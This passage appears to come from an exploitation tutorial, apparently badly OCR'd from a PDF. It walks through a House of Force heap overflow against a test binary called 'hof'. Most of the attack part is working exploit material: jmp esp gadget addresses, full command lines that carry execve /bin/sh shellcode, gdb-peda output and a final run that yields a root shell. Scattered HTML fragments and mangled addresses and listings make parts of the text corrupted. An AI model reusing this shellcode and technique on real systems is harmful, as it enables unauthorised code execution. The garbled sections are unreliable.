002	28 Oxffffc	<mark>d48</mark> ('D' <repe< th=""><th>ats 44 time</th><th>is>)</th><th></th></repe<>	ats 44 time	is>)	

The return address should be replaced by a jmp esp address and from this point it is like a stack overflow exploitation. With the asmsearch 'jmp esp' we can get some useful address:

0x080ae383	:	(ffe4)	jmp	esp
0x080aeaaf	:	(ffe4)	jmp	esp
0x080aeab7	:	(ffe4)	jmp	esp
0x080aeabf	:	(ffe4)	jmp	esp
0x080aeac7	:	(ffe4)	jmp	esp
0x080aeaef	:	(ffe4)	jmp	esp
	_	15 6 6 1		

Unfortunately we cannot use 0x0a, but there are other candidates: 0x080b0d2b 0x080be94b

0x080c4f4b

0x080d49bf

With the first one now it is sucessful:

L ·					code
=> 0>	<80b0d2b:	jmp	esp		
0>	<80b0d2d:	push	SS		
0	(80h0d2e)	cli			
	20b0d2t.	call	050		
0,		call.	esp		
->	UXTTTTCQ3	0:			
	0xffffcd3	1:	inc	esp	
	0xffffcd3	2:	inc	esp	
	0xffffcd3	3:	inc	esp	
[stack-
0000	0xffffcd30	('D'	<repeats< th=""><th>68</th><th>times>)</th></repeats<>	68	times>)
0004	0xffffcd34	('D'	<repeats< th=""><th>64</th><th>times>)</th></repeats<>	64	times>)
0008	0xffffcd38	('D'	<repeats< th=""><th>60</th><th>times>)</th></repeats<>	60	times>)
0012	0xffffcd3c	('D'	<repeats< th=""><th>56</th><th>times>)</th></repeats<>	56	times>)
0016	0xffffcd40	('D'	<repeats< th=""><th>52</th><th>times>)</th></repeats<>	52	times>)
0020	0xffffcd44	('D'	<repeats< th=""><th>48</th><th>times>)</th></repeats<>	48	times>)
0024	0xffffcd48	('D'	<repeats< th=""><th>44</th><th>times>)</th></repeats<>	44	times>)
0028	0xffffcd4c	('D'	<repeats< th=""><th>40</th><th>times>)</th></repeats<>	40	times>)
[

The payload should be also replaced by a real payload. The final version is the following:

 $\label{eq:run4159829276`python-c"print'xff'*1308+'xff\xff\xff'"``python-c"print'C'*28+'x2b\x0d\x0b\x08'+'x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\x80\xe8\xe5\xff\xff\xff\xff\xff\x4f\x41\x42\x42\x42\x42\x42\x42'+D'*13"$

<pre>0xffffcd48: 0xffffcd4a: 0xffffcd4d: => 0xffffcd50: 0xffffcd52: 0xffffcd57: 0xffffcd58: 0xffffcd58: 0xffffcd5b:</pre>	<pre>mov al,0xb lea ecx,[ebx+0x8 lea edx,[ebx+0x0 int 0x80 call 0xffffcd3c das bound ebp,QWORD PT das</pre>	1 1 4159829276 4159829276 15942976 8 8 15942976				
0000 0xfffcd3 0004 0xfffcd3 0008 0xfffcd3 0012 0xfffcd3 0016 0xfffcd4 0020 0xfffcd4 0024 0xfffcd4 0028 0xfffcd4	0> 0x46b0c031 4> 0xc931db31 8> 0x16eb80cd c> 0x88c0315b 0> 0x5b890743 4> 0xc438908 8> 0x4b8d0bb0 c> 0xc538d08	FO] 110] Lt er Locations				
Legend: code, d 0xffffcd50 in ? gdb-peda\$ s process 7236 is Error in re-set Error in re-set Error in re-set Error in re-set Error in re-set	ata, rodata, value ? () executing new progr ting breakpoint 1: N ting breakpoint 1: N ting breakpoint 1: N ting breakpoint 1: N	am: /bin/das lo symbol tab lo symbol "fv lo symbol "fv lo symbol "fv	h le is loaded. uln" in curre uln" in curre uln" in curre manymeth	Use the ' nt context. nt context. nt context. methods.bxt	file" com peda- session- options.txt	option nand . ped sessi rainbov

The shell is executed. Let's try it without gdb:

Unfortunately the same parameters lead to segmentation fault without the debugger. From the PTR3 value we can see that the return pointer is placed exactly to the same place as in the debugged version. The reason for the segmentation fault can be two things:

- The jmp esp address is different in this version
- The stack position is different without the debugger

This case we probably have the second issue. Gdb stores environmental variables when debugging the application and that modifies the stack layout. We should have considered that before. We can disable some environmental variables with the following gdb commands:

Reading symbols from ./hof...(no debugging symbols found)...done. gdb-peda\$ unset environment LINES gdb-peda\$ unset environment COLUMNS

Running the program justifies the different stack layout.

```
EAX: 0x80dd7f0 --> 0xd0
EBX: 0x80dgcgc --> 0x0
ECX: 0x80e0ad9 --> 0x0
EDX: 0x80dd7f0 --> 0xd0
ESI: 0xffffcff9 --> 0xfffffff
EDI: 0xffffd51a ('C' <repeats 28 times>, "+\r\v\b1\300\260F1\333\061\311\353\026[1\3
45\377\377\bin/shNAAAABBBB", 'D' <repeats 13 times>)
EBP: 0xffffcd38 --> 0xffffcd78 --> 0x0
ESP: 0xffffcd10 --> 0xf7f1f51c
EIP: Cannot access memory address
EFLAGS: 0x10283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
0x080fdfff in ?? ()
gdb-pedas
```

On the other hand it is again not equal to the real stack layout. Two things can be considered: the real stack position is on a higher address because gdb places extra data to the stack that decreases the stack top address. According to the experiments the extra data that increases the stack size is dividable by 16. We can try the exploitation with increasing the second allocation size by 16 and 32 and 48 etc.. With 32 bytes increment finally we have a working solution:

```
root@kali:~# ./hof 4159829308 `python -c "print'\xff'*1308+'\xff\xff\xff\xff'"``pyth
on -c "print'C'*28+'\x2b\x0d\x0b\x08'+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x
16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xc
d\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42
\x42'+'D'*13"`
PTR1 = [ 0x80dd2d0 ]
Allocated MEM: 4159829308 bytes
PTR2 = [ 0x80d7f0 ]
PTR3 = [ 0xffffcd30 ]
# □
```